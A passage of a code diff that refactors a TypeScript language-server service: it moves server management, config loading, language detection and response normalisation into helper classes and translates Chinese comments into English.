workspaceContext; this.fileDiscoveryService = fileDiscoveryService; - this.allowedServers = options.allowedServers?.filter(Boolean); - this.excludedServers = options.excludedServers?.filter(Boolean); this.requireTrustedWorkspace = options.requireTrustedWorkspace ?? true; this.workspaceRoot = options.workspaceRoot ?? (config as { getProjectRoot: () => string }).getProjectRoot(); - this.inlineServerConfigs = options.inlineServerConfigs; + this.configLoader = new LspConfigLoader(this.workspaceRoot); + this.languageDetector = new LspLanguageDetector( + this.workspaceContext, + this.fileDiscoveryService, + ); + this.normalizer = new LspResponseNormalizer(); + this.serverManager = new LspServerManager( + this.config, + this.workspaceContext, + this.fileDiscoveryService, + { + requireTrustedWorkspace: this.requireTrustedWorkspace, + workspaceRoot: this.workspaceRoot, + }, + ); } /** - * 发现并准备 LSP 服务器 + * Discover and prepare LSP servers */ async discoverAndPrepare(): Promise { const workspaceTrusted = this.config.isTrustedFolder(); - this.serverHandles.clear(); + this.serverManager.clearServerHandles(); - // 检查工作区是否受信任 + // Check if workspace is trusted if (this.requireTrustedWorkspace && !workspaceTrusted) { - console.log('工作区不受信任，跳过 LSP 服务器发现'); + console.log('Workspace is not trusted, skipping LSP server discovery'); return; } - // 检测工作区中的语言 - const userConfigs = await this.loadUserConfigs(); + // Detect languages in workspace + const userConfigs = await this.configLoader.loadUserConfigs(); const extensionOverrides = - this.collectExtensionToLanguageOverrides(userConfigs); - const detectedLanguages = await this.detectLanguages(extensionOverrides); + this.configLoader.collectExtensionToLanguageOverrides(userConfigs); + const detectedLanguages = + await this.languageDetector.detectLanguages(extensionOverrides); - // 合并配置：内置预设 + 用户 .lsp.json + 可选 cclsp 兼容转换 - const serverConfigs = this.mergeConfigs(detectedLanguages, userConfigs); - - // 创建服务器句柄 - for (const config of serverConfigs) { - this.serverHandles.set(config.name, { - config, - status: 'NOT_STARTED' as LspServerStatus, - }); - } + // Merge configs: built-in presets + user .lsp.json + optional cclsp compatibility + const serverConfigs = this.configLoader.mergeConfigs( + detectedLanguages, + userConfigs, + ); + this.serverManager.setServerConfigs(serverConfigs); } /** - * 启动所有 LSP 服务器 + * Start all LSP servers */ async start(): Promise { - for (const [name, handle] of Array.from(this.serverHandles)) { - await this.startServer(name, handle); - } + await this.serverManager.startAll(); } /** - * 停止所有 LSP 服务器 + * Stop all LSP servers */ async stop(): Promise { - for (const [name, handle] of Array.from(this.serverHandles)) { - await this.stopServer(name, handle); - } - this.serverHandles.clear(); + await this.serverManager.stopAll(); } /** - * 获取 LSP 服务器状态 + * Get LSP server status */ getStatus(): Map { - const statusMap = new Map(); - for (const [name, handle] of Array.from(this.serverHandles)) { - statusMap.set(name, handle.status); - } - return statusMap; + return this.serverManager.getStatus(); } /** @@ -260,12 +140,14 @@ export class NativeLspService { ): Promise { const results: LspSymbolInformation[] = []; - for (const [serverName, handle] of Array.from(this.serverHandles)) { + for (const [serverName, handle] of Array.from( + this.serverManager.getHandles(), + )) { if (handle.status !== 'READY' || !handle.connection) { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); let response = await handle.connection.request('workspace/symbol', { query, }); @@ -273,7 +155,7 @@ export class NativeLspService { this.isTypescriptServer(handle) && this.isNoProjectErrorResponse(response) ) { - await this.warmupTypescriptServer(handle, true); + await this.serverManager.warmupTypescriptServer(handle, true); response = await handle.connection.request('workspace/symbol', { query, }); @@ -282,7 +164,10 @@ export class NativeLspService { continue; } for (const item of response) { - const symbol = this.normalizeSymbolResult(item, serverName); + const symbol = this.normalizer.normalizeSymbolResult( + item, + serverName, + ); if (symbol) { results.push(symbol); } @@ -299,14 +184,16 @@ export class NativeLspService { } /** - * 跳转到定义 + * Go to definition */ async definitions( location: LspLocation, serverName?: string, limit = 50, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -318,8 +205,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'textDocument/definition', { @@ -334,7 +220,7 @@ export class NativeLspService { : []; const definitions: LspDefinition[] = []; for (const def of candidates) { - const normalized = this.normalizeLocationResult(def, name); + const normalized = this.normalizer.normalizeLocationResult(def, name); if (normalized) { definitions.push(normalized); if (definitions.length >= limit) { @@ -354,7 +240,7 @@ export class NativeLspService { } /** - * 查找引用 + * Find references */ async references( location: LspLocation, @@ -362,7 +248,9 @@ export class NativeLspService { includeDeclaration = false, limit = 200, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -374,8 +262,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'textDocument/references', { @@ -389,7 +276,7 @@ export class NativeLspService { } const refs: LspReference[] = []; for (const ref of response) { - const normalized = this.normalizeLocationResult(ref, name); + const normalized = this.normalizer.normalizeLocationResult(ref, name); if (normalized) { refs.push(normalized); } @@ -409,13 +296,15 @@ export class NativeLspService { } /** - * 获取悬停信息 + * Get hover information */ async hover( location: LspLocation, serverName?: string, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -427,12 +316,12 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request('textDocument/hover', { textDocument: { uri: location.uri }, position: location.range.start, }); - const normalized = this.normalizeHoverResult(response, name); + const normalized = this.normalizer.normalizeHoverResult(response, name); if (normalized) { return normalized; } @@ -445,14 +334,16 @@ export class NativeLspService { } /** - * 获取文档符号 + * Get document symbols */ async documentSymbols( uri: string, serverName?: string, limit = 200, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -464,7 +355,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'textDocument/documentSymbol', { @@ -480,10 +371,19 @@ export class NativeLspService { continue; } const itemObj = item as Record; - if (this.isDocumentSymbol(itemObj)) { - this.collectDocumentSymbol(itemObj, uri, name, symbols, limit); + if (this.normalizer.isDocumentSymbol(itemObj)) { + this.normalizer.collectDocumentSymbol( + itemObj, + uri, + name, + symbols, + limit, + ); } else { - const normalized = this.normalizeSymbolResult(itemObj, name); + const normalized = this.normalizer.normalizeSymbolResult( + itemObj, + name, + ); if (normalized) { symbols.push(normalized); } @@ -507,14 +407,16 @@ export class NativeLspService { } /** - * 查找实现 + * Find implementations */ async implementations( location: LspLocation, serverName?: string, limit = 50, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -526,7 +428,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'textDocument/implementation', { @@ -541,7 +443,10 @@ export class NativeLspService { : []; const implementations: LspDefinition[] = []; for (const item of candidates) { - const normalized = this.normalizeLocationResult(item, name); + const normalized = this.normalizer.normalizeLocationResult( + item, + name, + ); if (normalized) { implementations.push(normalized); if (implementations.length >= limit) { @@ -564,14 +469,16 @@ export class NativeLspService { } /** - * 准备调用层级 + * Prepare call hierarchy */ async prepareCallHierarchy( location: LspLocation, serverName?: string, limit = 50, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -583,7 +490,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'textDocument/prepareCallHierarchy', { @@ -598,7 +505,10 @@ export class NativeLspService { : []; const items: LspCallHierarchyItem[] = []; for (const item of candidates) { - const normalized = this.normalizeCallHierarchyItem(item, name); + const normalized = this.normalizer.normalizeCallHierarchyItem( + item, + name, + ); if (normalized) { items.push(normalized); if (items.length >= limit) { @@ -621,7 +531,7 @@ export class NativeLspService { } /** - * 查找调用当前函数的调用者 + * Find callers of the current function */ async incomingCalls( item: LspCallHierarchyItem, @@ -629,7 +539,9 @@ export class NativeLspService { limit = 50, ): Promise { const targetServer = serverName ?? item.serverName; - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -641,11 +553,11 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'callHierarchy/incomingCalls', { - item: this.toCallHierarchyItemParams(item), + item: this.normalizer.toCallHierarchyItemParams(item), }, ); if (!Array.isArray(response)) { @@ -653,7 +565,7 @@ export class NativeLspService { } const calls: LspCallHierarchyIncomingCall[] = []; for (const call of response) { - const normalized = this.normalizeIncomingCall(call, name); + const normalized = this.normalizer.normalizeIncomingCall(call, name); if (normalized) { calls.push(normalized); if (calls.length >= limit) { @@ -676,7 +588,7 @@ export class NativeLspService { } /** - * 查找当前函数调用的目标 + * Find functions called by the current function */ async outgoingCalls( item: LspCallHierarchyItem, @@ -684,7 +596,9 @@ export class NativeLspService { limit = 50, ): Promise { const targetServer = serverName ?? item.serverName; - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -696,11 +610,11 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); const response = await handle.connection.request( 'callHierarchy/outgoingCalls', { - item: this.toCallHierarchyItemParams(item), + item: this.normalizer.toCallHierarchyItemParams(item), }, ); if (!Array.isArray(response)) { @@ -708,7 +622,7 @@ export class NativeLspService { } const calls: LspCallHierarchyOutgoingCall[] = []; for (const call of response) { - const normalized = this.normalizeOutgoingCall(call, name); + const normalized = this.normalizer.normalizeOutgoingCall(call, name); if (normalized) { calls.push(normalized); if (calls.length >= limit) { @@ -731,13 +645,15 @@ export class NativeLspService { } /** - * 获取文档的诊断信息 + * Get diagnostics for a document */ async diagnostics( uri: string, serverName?: string, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -751,7 +667,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); // Request pull diagnostics if the server supports it const response = await handle.connection.request( @@ -766,7 +682,10 @@ export class NativeLspService { const items = responseObj['items']; if (Array.isArray(items)) { for (const item of items) { - const normalized = this.normalizeDiagnostic(item, name); + const normalized = this.normalizer.normalizeDiagnostic( + item, + name, + ); if (normalized) { allDiagnostics.push(normalized); } @@ -784,13 +703,15 @@ export class NativeLspService { } /** - * 获取工作区所有文档的诊断信息 + * Get diagnostics for all documents in the workspace */ async workspaceDiagnostics( serverName?: string, limit = 100, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -804,7 +725,7 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); // Request workspace diagnostics if supported const response = await handle.connection.request( @@ -822,7 +743,10 @@ export class NativeLspService { if (results.length >= limit) { break; } - const normalized = this.normalizeFileDiagnostics(item, name); + const normalized = this.normalizer.normalizeFileDiagnostics( + item, + name, + ); if (normalized && normalized.diagnostics.length > 0) { results.push(normalized); } @@ -842,7 +766,7 @@ export class NativeLspService { } /** - * 获取指定位置的代码操作 + * Get code actions at the specified position */ async codeActions( uri: string, @@ -851,7 +775,9 @@ export class NativeLspService { serverName?: string, limit = 20, ): Promise { - const handles = Array.from(this.serverHandles.entries()).filter( + const handles = Array.from( + this.serverManager.getHandles().entries(), + ).filter( ([name, handle]) => handle.status === 'READY' && handle.connection && @@ -863,11 +789,11 @@ export class NativeLspService { continue; } try { - await this.warmupTypescriptServer(handle); + await this.serverManager.warmupTypescriptServer(handle); // Convert context diagnostics to LSP format const lspDiagnostics = context.diagnostics.map((d: LspDiagnostic) => - this.denormalizeDiagnostic(d), + this.normalizer.denormalizeDiagnostic(d), ); const response = await handle.connection.request( @@ -892,7 +818,7 @@ export class NativeLspService { const actions: LspCodeAction[] = []; for (const item of response) { - const normalized = this.normalizeCodeAction(item, name); + const normalized = this.normalizer.normalizeCodeAction(item, name); if (normalized) { actions.push(normalized); if (actions.length >= limit) { @@ -913,7 +839,7 @@ export class NativeLspService { } /** - * 应用工作区编辑 + * Apply workspace edit */ async applyWorkspaceEdit( edit: LspWorkspaceEdit, @@ -945,7 +871,7 @@ export class NativeLspService { } /** - * 应用文本编辑到文件 + * Apply text edits to a file */ private async applyTextEdits( uri: string, @@ -1004,2005 +930,6 @@ export class NativeLspService { fs.writeFileSync(filePath, lines.join('\n'), 'utf-8'); } - /** - * 规范化诊断结果 - */ - private normalizeDiagnostic( - item: unknown, - serverName: string, - ): LspDiagnostic | null { - if (!item || typeof item !== 'object') { - return null; - } - - const itemObj = item as Record; - const range = this.normalizeRange(itemObj['range']); - if (!range) { - return null; - } - - const message = - typeof itemObj['message'] === 'string' - ? (itemObj['message'] as string) - : ''; - if (!message) { - return null; - } - - const severityNum = - typeof itemObj['severity'] === 'number' - ? (itemObj['severity'] as number) - : undefined; - const severity = severityNum - ? DIAGNOSTIC_SEVERITY_LABELS[severityNum] - : undefined; - - const code = itemObj['code']; - const codeValue = - typeof code === 'string' || typeof code === 'number' ? code : undefined; - - const source = - typeof itemObj['source'] === 'string' - ? (itemObj['source'] as string) - : undefined; - - const tags = this.normalizeDiagnosticTags(itemObj['tags']); - const relatedInfo = this.normalizeDiagnosticRelatedInfo( - itemObj['relatedInformation'], - ); - - return { - range, - severity, - code: codeValue, - source, - message, - tags: tags.length > 0 ? tags : undefined, - relatedInformation: relatedInfo.length > 0 ? relatedInfo : undefined, - serverName, - }; - } - - /** - * 将诊断转换回 LSP 格式 - */ - private denormalizeDiagnostic( - diagnostic: LspDiagnostic, - ): Record { - const severityMap: Record = { - error: 1, - warning: 2, - information: 3, - hint: 4, - }; - - return { - range: diagnostic.range, - message: diagnostic.message, - severity: diagnostic.severity - ? severityMap[diagnostic.severity] - : undefined, - code: diagnostic.code, - source: diagnostic.source, - }; - } - - /** - * 规范化诊断标签 - */ - private normalizeDiagnosticTags( - tags: unknown, - ): Array<'unnecessary' | 'deprecated'> { - if (!Array.isArray(tags)) { - return []; - } - - const result: Array<'unnecessary' | 'deprecated'> = []; - for (const tag of tags) { - if (tag === 1) { - result.push('unnecessary'); - } else if (tag === 2) { - result.push('deprecated'); - } - } - return result; - } - - /** - * 规范化诊断相关信息 - */ - private normalizeDiagnosticRelatedInfo( - info: unknown, - ): Array<{ location: LspLocation; message: string }> { - if (!Array.isArray(info)) { - return []; - } - - const result: Array<{ location: LspLocation; message: string }> = []; - for (const item of info) { - if (!item || typeof item !== 'object') { - continue; - } - const itemObj = item as Record; - const location = itemObj['location']; - if (!location || typeof location !== 'object') { - continue; - } - const locObj = location as Record; - const uri = locObj['uri']; - const range = this.normalizeRange(locObj['range']); - const message = itemObj['message']; - - if (typeof uri === 'string' && range && typeof message === 'string') { - result.push({ - location: { uri, range }, - message, - }); - } - } - return result; - } - - /** - * 规范化文件诊断结果 - */ - private normalizeFileDiagnostics( - item: unknown, - serverName: string, - ): LspFileDiagnostics | null { - if (!item || typeof item !== 'object') { - return null; - } - - const itemObj = item as Record; - const uri = - typeof itemObj['uri'] === 'string' ? (itemObj['uri'] as string) : ''; - if (!uri) { - return null; - } - - const items = itemObj['items']; - if (!Array.isArray(items)) { - return null; - } - - const diagnostics: LspDiagnostic[] = []; - for (const diagItem of items) { - const normalized = this.normalizeDiagnostic(diagItem, serverName); - if (normalized) { - diagnostics.push(normalized); - } - } - - return { - uri, - diagnostics, - serverName, - }; - } - - /** - * 规范化代码操作结果 - */ - private normalizeCodeAction( - item: unknown, - serverName: string, - ): LspCodeAction | null { - if (!item || typeof item !== 'object') { - return null; - } - - const itemObj = item as Record; - - // Check if this is a Command instead of CodeAction - if ( - itemObj['command'] && - typeof itemObj['title'] === 'string' && - !itemObj['kind'] - ) { - // This is a raw Command, wrap it - return { - title: itemObj['title'] as string, - command: { - title: itemObj['title'] as string, - command: (itemObj['command'] as string) ?? '', - arguments: itemObj['arguments'] as unknown[] | undefined, - }, - serverName, - }; - } - - const title = - typeof itemObj['title'] === 'string' ? (itemObj['title'] as string) : ''; - if (!title) { - return null; - } - - const kind = - typeof itemObj['kind'] === 'string' - ? (CODE_ACTION_KIND_LABELS[itemObj['kind'] as string] ?? - (itemObj['kind'] as LspCodeActionKind)) - : undefined; - - const isPreferred = - typeof itemObj['isPreferred'] === 'boolean' - ? (itemObj['isPreferred'] as boolean) - : undefined; - - const edit = this.normalizeWorkspaceEdit(itemObj['edit']); - const command = this.normalizeCommand(itemObj['command']); - - const diagnostics: LspDiagnostic[] = []; - if (Array.isArray(itemObj['diagnostics'])) { - for (const diag of itemObj['diagnostics']) { - const normalized = this.normalizeDiagnostic(diag, serverName); - if (normalized) { - diagnostics.push(normalized); - } - } - } - - return { - title, - kind, - diagnostics: diagnostics.length > 0 ? diagnostics : undefined, - isPreferred, - edit: edit ?? undefined, - command: command ?? undefined, - data: itemObj['data'], - serverName, - }; - } - - /** - * 规范化工作区编辑 - */ - private normalizeWorkspaceEdit(edit: unknown): LspWorkspaceEdit | null { - if (!edit || typeof edit !== 'object') { - return null; - } - - const editObj = edit as Record; - const result: LspWorkspaceEdit = {}; - - // Handle changes (map of URI to TextEdit[]) - if (editObj['changes'] && typeof editObj['changes'] === 'object') { - const changes = editObj['changes'] as Record; - result.changes = {}; - for (const [uri, edits] of Object.entries(changes)) { - if (Array.isArray(edits)) { - const normalizedEdits: LspTextEdit[] = []; - for (const e of edits) { - const normalized = this.normalizeTextEdit(e); - if (normalized) { - normalizedEdits.push(normalized); - } - } - if (normalizedEdits.length > 0) { - result.changes[uri] = normalizedEdits; - } - } - } - } - - // Handle documentChanges - if (Array.isArray(editObj['documentChanges'])) { - result.documentChanges = []; - for (const docChange of editObj['documentChanges']) { - const normalized = this.normalizeTextDocumentEdit(docChange); - if (normalized) { - result.documentChanges.push(normalized); - } - } - } - - if ( - (!result.changes || Object.keys(result.changes).length === 0) && - (!result.documentChanges || result.documentChanges.length === 0) - ) { - return null; - } - - return result; - } - - /** - * 规范化文本编辑 - */ - private normalizeTextEdit(edit: unknown): LspTextEdit | null { - if (!edit || typeof edit !== 'object') { - return null; - } - - const editObj = edit as Record; - const range = this.normalizeRange(editObj['range']); - if (!range) { - return null; - } - - const newText = - typeof editObj['newText'] === 'string' - ? (editObj['newText'] as string) - : ''; - - return { range, newText }; - } - - /** - * 规范化文本文档编辑 - */ - private normalizeTextDocumentEdit(docEdit: unknown): { - textDocument: { uri: string; version?: number | null }; - edits: LspTextEdit[]; - } | null { - if (!docEdit || typeof docEdit !== 'object') { - return null; - } - - const docEditObj = docEdit as Record; - const textDocument = docEditObj['textDocument']; - if (!textDocument || typeof textDocument !== 'object') { - return null; - } - - const textDocObj = textDocument as Record; - const uri = - typeof textDocObj['uri'] === 'string' - ? (textDocObj['uri'] as string) - : ''; - if (!uri) { - return null; - } - - const version = - typeof textDocObj['version'] === 'number' - ? (textDocObj['version'] as number) - : null; - - const edits = docEditObj['edits']; - if (!Array.isArray(edits)) { - return null; - } - - const normalizedEdits: LspTextEdit[] = []; - for (const e of edits) { - const normalized = this.normalizeTextEdit(e); - if (normalized) { - normalizedEdits.push(normalized); - } - } - - if (normalizedEdits.length === 0) { - return null; - } - - return { - textDocument: { uri, version }, - edits: normalizedEdits, - }; - } - - /** - * 规范化命令 - */ - private normalizeCommand( - cmd: unknown, - ): { title: string; command: string; arguments?: unknown[] } | null { - if (!cmd || typeof cmd !== 'object') { - return null; - } - - const cmdObj = cmd as Record; - const title = - typeof cmdObj['title'] === 'string' ? (cmdObj['title'] as string) : ''; - const command = - typeof cmdObj['command'] === 'string' - ? (cmdObj['command'] as string) - : ''; - - if (!command) { - return null; - } - - const args = Array.isArray(cmdObj['arguments']) - ? (cmdObj['arguments'] as unknown[]) - : undefined; - - return { title, command, arguments: args }; - } - - /** - * 检测工作区中的编程语言 - */ - private async detectLanguages( - extensionOverrides: Record = {}, - ): Promise { - const extensionMap = this.getExtensionToLanguageMap(extensionOverrides); - const extensions = Object.keys(extensionMap); - const patterns = - extensions.length > 0 ? [`**/*.{${extensions.join(',')}}`] : ['**/*']; - const excludePatterns = [ - '**/node_modules/**', - '**/.git/**', - '**/dist/**', - '**/build/**', - ]; - - const files = new Set(); - const searchRoots = this.workspaceContext.getDirectories(); - - for (const root of searchRoots) { - for (const pattern of patterns) { - try { - const matches = globSync(pattern, { - cwd: root, - ignore: excludePatterns, - absolute: true, - nodir: true, - }); - - for (const match of matches) { - if (this.fileDiscoveryService.shouldIgnoreFile(match)) { - continue; - } - files.add(match); - } - } catch (_error) { - // Ignore glob errors for missing/invalid directories - } - } - } - - // 统计不同语言的文件数量 - const languageCounts = new Map(); - for (const file of Array.from(files)) { - const ext = path.extname(file).slice(1).toLowerCase(); - if (ext) { - const lang = this.mapExtensionToLanguage(ext, extensionMap); - if (lang) { - languageCounts.set(lang, (languageCounts.get(lang) || 0) + 1); - } - } - } - - // 也可以通过特定的配置文件来检测语言 - const rootMarkers = await this.detectRootMarkers(); - for (const marker of rootMarkers) { - const lang = this.mapMarkerToLanguage(marker); - if (lang) { - // 使用安全的数字操作避免 NaN - const currentCount = languageCounts.get(lang) || 0; - languageCounts.set(lang, currentCount + 100); // 给配置文件更高的权重 - } - } - - // 返回检测到的语言，按数量排序 - return Array.from(languageCounts.entries()) - .sort((a, b) => b[1] - a[1]) - .map(([lang]) => lang); - } - - /** - * 检测根目录标记文件 - */ - private async detectRootMarkers(): Promise { - const markers = new Set(); - const commonMarkers = [ - 'package.json', - 'tsconfig.json', - 'pyproject.toml', - 'go.mod', - 'Cargo.toml', - 'pom.xml', - 'build.gradle', - 'composer.json', - 'Gemfile', - 'mix.exs', - 'deno.json', - ]; - - for (const root of this.workspaceContext.getDirectories()) { - for (const marker of commonMarkers) { - try { - const fullPath = path.join(root, marker); - if (fs.existsSync(fullPath)) { - markers.add(marker); - } - } catch (_error) { - // ignore missing files - } - } - } - - return Array.from(markers); - } - - /** - * 将文件扩展名映射到编程语言 - */ - private mapExtensionToLanguage( - ext: string, - extensionMap: Record, - ): string | null { - return extensionMap[ext] || null; - } - - private getExtensionToLanguageMap( - extensionOverrides: Record = {}, - ): Record { - const extToLang: Record = { - js: 'javascript', - ts: 'typescript', - jsx: 'javascriptreact', - tsx: 'typescriptreact', - py: 'python', - go: 'go', - rs: 'rust', - java: 'java', - cpp: 'cpp', - c: 'c', - php: 'php', - rb: 'ruby', - cs: 'csharp', - vue: 'vue', - svelte: 'svelte', - html: 'html', - css: 'css', - json: 'json', - yaml: 'yaml', - yml: 'yaml', - }; - - for (const [key, value] of Object.entries(extensionOverrides)) { - const normalized = key.startsWith('.') ? key.slice(1) : key; - if (!normalized) { - continue; - } - extToLang[normalized.toLowerCase()] = value; - } - - return extToLang; - } - - private collectExtensionToLanguageOverrides( - configs: LspServerConfig[], - ): Record { - const overrides: Record = {}; - for (const config of configs) { - if (!config.extensionToLanguage) { - continue; - } - for (const [key, value] of Object.entries(config.extensionToLanguage)) { - if (typeof value !== 'string') { - continue; - } - const normalized = key.startsWith('.') ? key.slice(1) : key; - if (!normalized) { - continue; - } - overrides[normalized.toLowerCase()] = value; - } - } - return overrides; - } - - /** - * 将根目录标记映射到编程语言 - */ - private mapMarkerToLanguage(marker: string): string | null { - const markerToLang: { [key: string]: string } = { - 'package.json': 'javascript', - 'tsconfig.json': 'typescript', - 'pyproject.toml': 'python', - 'go.mod': 'go', - 'Cargo.toml': 'rust', - 'pom.xml': 'java', - 'build.gradle': 'java', - 'composer.json': 'php', - Gemfile: 'ruby', - '*.sln': 'csharp', - 'mix.exs': 'elixir', - 'deno.json': 'deno', - }; - - return markerToLang[marker] || null; - } - - private normalizeLocationResult( - item: unknown, - serverName: string, - ): LspReference | null { - if (!item || typeof item !== 'object') { - return null; - } - - const itemObj = item as Record; - const uri = (itemObj['uri'] ?? - itemObj['targetUri'] ?? - (itemObj['target'] as Record)?.['uri']) as - | string - | undefined; - - const range = (itemObj['range'] ?? - itemObj['targetSelectionRange'] ?? - itemObj['targetRange'] ?? - (itemObj['target'] as Record)?.['range']) as - | { start?: unknown; end?: unknown } - | undefined; - - if (!uri || !range?.start || !range?.end) { - return null; - } - - const start = range.start as { line?: number; character?: number }; - const end = range.end as { line?: number; character?: number }; - - return { - uri, - range: { - start: { - line: Number(start?.line ?? 0), - character: Number(start?.character ?? 0), - }, - end: { - line: Number(end?.line ?? 0), - character: Number(end?.character ?? 0), - }, - }, - serverName, - }; - } - - private normalizeSymbolResult( - item: unknown, - serverName: string, - ): LspSymbolInformation | null { - if (!item || typeof item !== 'object') { - return null; - } - - const itemObj = item as Record; - const location = itemObj['location'] ?? itemObj['target'] ?? item; - if (!location || typeof location !== 'object') { - return null; - } - - const locationObj = location as Record; - const range = (locationObj['range'] ?? - locationObj['targetRange'] ?? - itemObj['range'] ?? - undefined) as { start?: unknown; end?: unknown } | undefined; - - if (!locationObj['uri'] || !range?.start || !range?.end) { - return null; - } - - const start = range.start as { line?: number; character?: number }; - const end = range.end as { line?: number; character?: number }; - - return { - name: (itemObj['name'] ?? itemObj['label'] ?? 'symbol') as string, - kind: this.normalizeSymbolKind(itemObj['kind']), - containerName: (itemObj['containerName'] ?? itemObj['container']) as - | string - | undefined, - location: { - uri: locationObj['uri'] as string, - range: { - start: { - line: Number(start?.line ?? 0), - character: Number(start?.character ?? 0), - }, - end: { - line: Number(end?.line ?? 0), - character: Number(end?.character ?? 0), - }, - }, - }, - serverName, - }; - } - - private normalizeRange(range: unknown): LspRange | null { - if (!range || typeof range !== 'object') { - return null; - } - - const rangeObj = range as Record; - const start = rangeObj['start']; - const end = rangeObj['end']; - - if ( - !start || - typeof start !== 'object' || - !end || - typeof end !== 'object' - ) { - return null; - } - - const startObj = start as Record; - const endObj = end as Record; - - return { - start: { - line: Number(startObj['line'] ?? 0), - character: Number(startObj['character'] ?? 0), - }, - end: { - line: Number(endObj['line'] ?? 0), - character: Number(endObj['character'] ?? 0), - }, - }; - } - - private normalizeRanges(ranges: unknown): LspRange[] { - if (!Array.isArray(ranges)) { - return []; - } - - const results: LspRange[] = []; - for (const range of ranges) { - const normalized = this.normalizeRange(range); - if (normalized) { - results.push(normalized); - } - } - - return results; - } - - private normalizeSymbolKind(kind: unknown): string | undefined { - if (typeof kind === 'number') { - return SYMBOL_KIND_LABELS[kind] ?? String(kind); - } - if (typeof kind === 'string') { - const trimmed = kind.trim(); - if (trimmed === '') { - return undefined; - } - const numeric = Number(trimmed); - if (Number.isFinite(numeric) && SYMBOL_KIND_LABELS[numeric]) { - return SYMBOL_KIND_LABELS[numeric]; - } - return trimmed; - } - return undefined; - } - - private normalizeHoverContents(contents: unknown): string { - if (!contents) { - return ''; - } - if (typeof contents === 'string') { - return contents; - } - if (Array.isArray(contents)) { - const parts = contents - .map((item) => this.normalizeHoverContents(item)) - .map((item) => item.trim()) - .filter((item) => item.length > 0); - return parts.join('\n'); - } - if (typeof contents === 'object') { - const contentsObj = contents as Record; - const value = contentsObj['value']; - if (typeof value === 'string') { - const language = contentsObj['language']; - if (typeof language === 'string' && language.trim() !== '') { - return `\`\`\`${language}\n${value}\n\`\`\``; - } - return value; - } - } - return ''; - } - - private normalizeHoverResult( - response: unknown, - serverName: string, - ): LspHoverResult | null { - if (!response) { - return null; - } - if (typeof response !== 'object') { - const contents = this.normalizeHoverContents(response); - if (!contents.trim()) { - return null; - } - return { - contents, - serverName, - }; - } - - const responseObj = response as Record; - const contents = this.normalizeHoverContents(responseObj['contents']); - if (!contents.trim()) { - return null; - } - - const range = this.normalizeRange(responseObj['range']); - return { - contents, - range: range ?? undefined, - serverName, - }; - } - - private normalizeCallHierarchyItem( - item: unknown, - serverName: string, - ): LspCallHierarchyItem | null { - if (!item || typeof item !== 'object') { - return null; - } - - const itemObj = item as Record; - const nameValue = itemObj['name'] ?? itemObj['label'] ?? 'symbol'; - const name = - typeof nameValue === 'string' ? nameValue : String(nameValue ?? ''); - const uri = itemObj['uri']; - - if (!name || typeof uri !== 'string') { - return null; - } - - const range = this.normalizeRange(itemObj['range']); - const selectionRange = - this.normalizeRange(itemObj['selectionRange']) ?? range; - - if (!range || !selectionRange) { - return null; - } - - const serverOverride = - typeof itemObj['serverName'] === 'string' - ? (itemObj['serverName'] as string) - : undefined; - - // Preserve raw numeric kind for server communication - // Priority: rawKind field > numeric kind > parsed numeric string - let rawKind: number | undefined; - if (typeof itemObj['rawKind'] === 'number') { - rawKind = itemObj['rawKind']; - } else if (typeof itemObj['kind'] === 'number') { - rawKind = itemObj['kind']; - } else if (typeof itemObj['kind'] === 'string') { - const 